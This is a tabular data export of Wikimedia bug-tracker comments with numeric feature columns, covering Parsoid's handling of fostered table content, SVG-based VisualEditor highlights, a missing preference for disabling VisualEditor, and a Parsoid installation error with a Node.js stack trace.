235198,Implement way to round-trip tables with fosterable content that migrates out of the table,"On the Parsoid end, detecting that the page cannot be handle is equivalent to fixing it.  Same analysis work has to be done.  On the VE end, perhaps they could use the 've-needscheck' verification to detect something like this -- that is something that VE developers can respond to best.  Adding Roan to this ticket who might be better able to answer that part.",,,1374184823,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.0,3.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,3.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,10.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,13.0,5.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,4.0,1.0,1.0,0.0,3.8205128205128207,0.6538461538461539,"On the Parsoid end, detecting that the page cannot be handle is equivalent to fixing it.  Same analysis work has to be done.  On the VE end, perhaps they could use the 've-needscheck' verification to detect something like this -- that is something that VE developers can respond to best.  Adding Roan to this ticket who might be better able to answer that part."
235192,Implement way to round-trip tables with fosterable content that migrates out of the table,"Why not just disable VE on pages like these for now. Edit page, parsoid render, ""VisualEditor encountered a structure that it currently cannot handle. You will be redirected to the source editor.""

Breaking pages == bad.",,,1374101827,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9574468085106385,0.8297872340425532,"Why not just disable VE on pages like these for now. Edit page, parsoid render, ""VisualEditor encountered a structure that it currently cannot handle. You will be redirected to the source editor.""

Breaking pages == bad."
235185,Implement way to round-trip tables with fosterable content that migrates out of the table,See http://youtu.be/QYgkdnQ6Yng for realtime feeling about the issue,,,1374089129,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,See URL for realtime feeling about the issue
235177,Implement way to round-trip tables with fosterable content that migrates out of the table,"Looks like this corruption is because content gets fostered out of the table on
load in VE.  One more instance of fosterable content that needs to be handled.

https://en.wikipedia.org/w/index.php?title=List_of_Jessie_episodes&diff=564684769&oldid=564554799",,,1374088970,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,24.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.029411764705882,0.9117647058823529,"Looks like this corruption is because content gets fostered out of the table on
load in VE.  One more instance of fosterable content that needs to be handled.

URL"
235171,Implement way to round-trip tables with fosterable content that migrates out of the table,"(In reply to comment #1)
> Jotting down an idea:
> 
> https://gerrit.wikimedia.org/r/#/c/73369/ is going to add tag-ids to dom
> elements.  Since they are added linearly, it will always be the case that
> tag-id(node) < tag-id(node.nextSibling) and tag-id(node) < tag-id(node.child)
> except when a child is fostered out. 

http://www.mediawiki.org/w/index.php?title=Parsoid/Todo&oldid=554715#DOM_tree_builder is making a cameo appearance ;)

After detection we'll have to figure out a way to make this work with selser though. Simply enlarging the start tag width to include the fostered content won't work. Fostered content can also come from several places in the table. The best is probably to prevent selser from serializing any of the fostered content, but serialize all of it when a part of it is edited.

Generally we should not try to do more than avoiding dirty diffs. On edit to the fostered content (or even the table in general) we should take the liberty to fix the wikitext to more closely mirror the way that content actually renders.",,,1373606553,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,0.5,1.0,6.0,0.5,0.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,2.0,0.5,7.5,13.0,0.0,4.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,2.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,7.5,2.0,7.5,0.5,1.5,9.5,0.0,0.0,0.0,0.5,8.0,0.5,0.5,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,1.5,1.5,0.0,2.5,1.5,0.5,0.0,3.9266666666666667,0.72,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

URL is making a cameo appearance ;)

After detection we'll have to figure out a way to make this work with selser though. Simply enlarging the start tag width to include the fostered content won't work. Fostered content can also come from several places in the table. The best is probably to prevent selser from serializing any of the fostered content, but serialize all of it when a part of it is edited.

Generally we should not try to do more than avoiding dirty diffs. On edit to the fostered content (or even the table in general) we should take the liberty to fix the wikitext to more closely mirror the way that content actually renders."
235166,Implement way to round-trip tables with fosterable content that migrates out of the table,"Jotting down an idea:

https://gerrit.wikimedia.org/r/#/c/73369/ is going to add tag-ids to dom elements.  Since they are added linearly, it will always be the case that tag-id(node) < tag-id(node.nextSibling) and tag-id(node) < tag-id(node.child) except when a child is fostered out. 

So, we could actually use these tag ids to robustly detect fostered content and add some encapsulation typeof and about ids on the content and the table so that VE as well as Parsoid's serializer can deal with it.",,,1373604215,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,1,,1.0,0.0,0.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.5,8.0,11.5,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,2.0,0.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,4.0,2.5,4.5,5.0,3.5,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.5,2.5,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,1.0,3.784313725490196,0.7843137254901961,"Jotting down an idea:

URL is going to add tag-ids to dom elements.  Since they are added linearly, it will always be the case that tag-id(node) < tag-id(node.nextSibling) and tag-id(node) < tag-id(node.child) except when a child is fostered out. 

So, we could actually use these tag ids to robustly detect fostered content and add some encapsulation typeof and about ids on the content and the table so that VE as well as Parsoid's serializer can deal with it."
53202,Draw VisualEditor's non-CE block highlights using SVG polygons,"Shields/phantoms are currently recursively applying to protected elements and positioning additional elements inside them. This causes 2 major problems:

1. Very slow, the CSS selectors use * and adding and controlling all these elements takes a lot of time as well.

2. We are limited to a single rectangle per protected node, which for inline elements is especially problematic since they are meant to wrap.

Using getClientRect and getClientRects (for inline stuff) can give us bounding box information that we can then cache, and render polygon click blocks for using an SVG layer. SVG's pointer-events: none works across browsers (unlike using this property in HTML) so we can control which elements in the SVG rendering block or pass through.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=64709",Medium,50.0,1373579640,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_description,open,True,c1,3,False,False,,1,,0.5,0.0,0.5,1.0,0.0,3.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,1.0,5.5,8.0,0.5,0.5,0.0,0.5,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.5,0.0,0.0,14.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,2.5,2.0,8.5,0.5,3.0,6.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.5,8.0,3.0,0.0,0.0,0.0,3.5,0.0,1.5,1.5,1.0,4.5,0.0,0.0,1.0,4.249179206566348,0.7191518467852257,"Shields/phantoms are currently recursively applying to protected elements and positioning additional elements inside them. This causes 2 major problems:

1. Very slow, the CSS selectors use * and adding and controlling all these elements takes a lot of time as well.

2. We are limited to a single rectangle per protected node, which for inline elements is especially problematic since they are meant to wrap.

Using getClientRect and getClientRects (for inline stuff) can give us bounding box information that we can then cache, and render polygon click blocks for using an SVG layer. SVG's pointer-events: none works across browsers (unlike using this property in HTML) so we can control which elements in the SVG rendering block or pass through.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
1901354,Draw VisualEditor's non-CE block highlights using SVG polygons,"Change 434103 **abandoned** by Bartosz Dziewoński:
%%%[VisualEditor/VisualEditor@master] [WIP] FocusableNode: Allow the highlights to have holes (using SVG)%%%
Reason:
%%%%%%
https://gerrit.wikimedia.org/r/434103",,,1650404810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,False,,,459,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,20.0,2.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.6956521739130435,0.6086956521739131,"Change 434103 **abandoned** by Bartosz Dziewoński:
%%%[VisualEditor/VisualEditor@master] [WIP] FocusableNode: Allow the highlights to have holes (using SVG)%%%
Reason:
%%%%%%
GERRIT_URL"
1071105,Draw VisualEditor's non-CE block highlights using SVG polygons,">>! In T53202#542648, @Esanders wrote:
> We are now using getBoundingClientRect and getClientRects. The only part missing from this bug is to use SVG. We should investigate the performance benefits/losses of doing so.

This was implemented in {ee5b69772963c5d3f17b15742023cf33fc5dd48a} and I think that actually resolved all of the original performance concerns. I don't think switching the  `<div style=""top: left: …""></div>` to  `<svg><rect x= y= …></svg>` is likely to improve or worsen performance. I am only doing it because it gives us the flexibility to have non-rectangular highlights.

----

> Using getClientRect and getClientRects (for inline stuff) can give us bounding box information that we can then cache, and render polygon click blocks for using an SVG layer. SVG's pointer-events: none works across browsers (unlike using this property in HTML) so we can control which elements in the SVG rendering block or pass through.

>>! In T53202#2280692, @Esanders wrote:
> In order to prevent the SVG canvas (a bounding rectangle) from capturing click events we'd need to set pointer-events, which would mean this wouldn't work on IE<11

This sounds like the idea was to use a single `<svg>` tag covering the whole page, but made unclickable with `pointer-events: none`, with `<rect>` or something for individual highlights.

I think we should stick to smaller `<svg>` tags covering just the focusable node (like the current `<div>` tags). This seems like a potentially not very well-tested area in browsers, and it would be nice if any bugs affecting the new highlights (whether in our code or in browser code) were localised to just the highlight instead of breaking the entire page. For example, when I was playing with it yesterday, my first implementation had such large `<svg>` tags, and it caused the mouse cursor to rapidly flicker between regular pointer and text cursor while over it (I couldn't reproduce that again, but James saw it happen :) ).

(These days we only support IE 11, so the only remaining browser that has no support for 'pointer-events' in HTML is Opera 12; it only supports the property in SVG.)",,,1526820747,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,254,,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,7.666666666666667,1.0,0.3333333333333333,0.0,0.3333333333333333,2.3333333333333335,1.3333333333333333,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,5.666666666666667,10.666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,3.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,4.0,1.3333333333333333,3.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,14.0,1.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,5.0,2.6666666666666665,10.0,2.0,3.3333333333333335,8.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.0,6.666666666666667,10.666666666666666,4.666666666666667,0.0,0.6666666666666666,0.0,6.666666666666667,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,4.134831460674158,0.7265917602996255,"QUOTE
QUOTE

This was implemented in {ee5b69772963c5d3f17b15742023cf33fc5dd48a} and I think that actually resolved all of the original performance concerns. I don't think switching the  CODE to  CODE is likely to improve or worsen performance. I am only doing it because it gives us the flexibility to have non-rectangular highlights.

----

QUOTE

QUOTE
QUOTE

This sounds like the idea was to use a single CODE tag covering the whole page, but made unclickable with CODE, with CODE or something for individual highlights.

I think we should stick to smaller CODE tags covering just the focusable node (like the current CODE tags). This seems like a potentially not very well-tested area in browsers, and it would be nice if any bugs affecting the new highlights (whether in our code or in browser code) were localised to just the highlight instead of breaking the entire page. For example, when I was playing with it yesterday, my first implementation had such large CODE tags, and it caused the mouse cursor to rapidly flicker between regular pointer and text cursor while over it (I couldn't reproduce that again, but James saw it happen :) ).

(These days we only support IE 11, so the only remaining browser that has no support for 'pointer-events' in HTML is Opera 12; it only supports the property in SVG.)"
1070925,Draw VisualEditor's non-CE block highlights using SVG polygons,"Change 434103 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[VisualEditor/VisualEditor@master] [WIP] FocusableNode: Allow the highlights to have holes (using SVG)

[[https://gerrit.wikimedia.org/r/434103]]",,,1526763872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,False,,,254,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,4.311111111111111,0.7777777777777778,"Change 434103 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[VisualEditor/VisualEditor@master] [WIP] FocusableNode: Allow the highlights to have holes (using SVG)

[[GERRIT_URL]]"
659399,Draw VisualEditor's non-CE block highlights using SVG polygons,"In order to prevent the SVG canvas (a bounding rectangle) from capturing click events we'd need to set pointer-events, which would mean this wouldn't work on IE<11",,,1462887892,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,149,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,4.029411764705882,0.9117647058823529,"In order to prevent the SVG canvas (a bounding rectangle) from capturing click events we'd need to set pointer-events, which would mean this wouldn't work on IE<11"
332565,Draw VisualEditor's non-CE block highlights using SVG polygons,">>! In T53202#781046, @Esanders wrote:
> This is not high priority

Investigating performance options is generally always a priority. But you're probably right that it won't be hugely beneficial.",,,1416846887,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.730769230769231,0.9230769230769231,"QUOTE
QUOTE

Investigating performance options is generally always a priority. But you're probably right that it won't be hugely beneficial."
332561,Draw VisualEditor's non-CE block highlights using SVG polygons,This is not high priority,,,1416846552,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,20.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,This is not high priority
234397,Draw VisualEditor's non-CE block highlights using SVG polygons,We are now using getBoundingClientRect and getClientRects. The only part missing from this bug is to use SVG. We should investigate the performance benefits/losses of doing so.,,,1408985768,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,60,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.6875,0.90625,We are now using getBoundingClientRect and getClientRects. The only part missing from this bug is to use SVG. We should investigate the performance benefits/losses of doing so.
234392,Draw VisualEditor's non-CE block highlights using SVG polygons,"@Trevor: Thanks for writing it down. I'm pretty excited about working on it. Btw. in the meantime, I'm working on shields/phantoms performance optimization here: https://gerrit.wikimedia.org/r/#/c/72113/",,,1373580320,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.142857142857143,0.7714285714285715,"SCREEN_NAME: Thanks for writing it down. I'm pretty excited about working on it. Btw. in the meantime, I'm working on shields/phantoms performance optimization here: URL"
53179,Re-enable user preference to disable VisualEditor,"The user preference for disabling VisualEditor has gone missing. It should be restored.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1373556900,1373557556.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-f6islnvgxyd3d63sxooo,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.285714285714286,0.7142857142857143,"The user preference for disabling VisualEditor has gone missing. It should be restored.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
233349,Re-enable user preference to disable VisualEditor,"

*** This bug has been marked as a duplicate of bug 50929 ***",,,1373557556,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-f6islnvgxyd3d63sxooo,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50929 ***"
233344,Re-enable user preference to disable VisualEditor,"The user preference should appear under the ""Editing"" tab at [[Special:Preferences]], where editors naturally expect to find it.",,,1373557227,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-f6islnvgxyd3d63sxooo,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,14.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,3.9642857142857144,0.8928571428571429,"The user preference should appear under the ""Editing"" tab at [[Special:Preferences]], where editors naturally expect to find it."
53151,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,"**Author:** `stephdechine`

**Description:**
I have just installed Parsoid for my private MediaWiki. However when I try to use VisualEditor, I got parsoidserver-http-bad-status: 500. Then I had checked localhost:8000, and that page displays correctly, but http://localhost:8000/en/Main_Page does not work as expected, and some error messages are thrown out.

 TypeError: Cannot set property '0' of null
    at Object.WikiConfig (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/lib/mediawiki.WikiConfig.js:52:29)
    at Function.MWParserEnvironment.getParserEnv (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/lib/mediawiki.parser.environment.js:268:16)
    at getParserServiceEnv (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/api/ParserService.js:365:22)
    at app.post.oldid (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/api/ParserService.js:629:2)
    at callbacks (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:272:11)
    at param (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:246:11)
    at pass (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:253:5)
    at Router._dispatch (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:280:5)
    at Object.Router.middleware [as handle] (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:45:10)
    at next (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/node_modules/connect/lib/http.js:204:15)

My OS is Gentoo Linux with everything up-to-date.

I fetched the Parsoid extension by using git.

I have once tried to install nodejs by compiling the source code, but failed due to ""Syntax error"" when running ./configure . Then I had checked my OS repo, and found out that there is only net-libs/nodejs with no npm. I installed that.

net-libs/nodejs Installed versions:  0.10.8^t(19:04:51 07/10/13)
(masked by default, I unmasked that.)

And the remaining installation process are with no error.

